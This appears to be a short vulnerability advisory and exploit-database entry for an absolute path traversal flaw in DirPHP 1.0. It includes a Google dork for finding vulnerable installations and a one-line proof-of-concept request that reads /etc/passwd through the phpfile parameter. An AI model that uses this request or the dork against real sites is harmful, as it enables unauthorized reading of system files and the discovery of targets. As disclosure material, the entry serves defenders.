Absolute path traversal vulnerability in DirPHP 1.0 allows remote malicious users to read arbitrary files via a full pathname in the phpfile parameter to index.php.
# Exploit Title: DirPHP - version 10 Local File Inclusion
# Google Dork: intext:DirPHP - version 10 - Created & Maintained by Stuart
Montgomery
# Date: 7/26/14
# Exploit Author: -Chosen-
# Contact: dark[dot]binary[dot]code@gmailcom
# Version: DirPHP - Version 10
# Tested on: *nix
PoC:
sitecom/path/indexphp?phpfile=/etc/passwd
...
Vulmon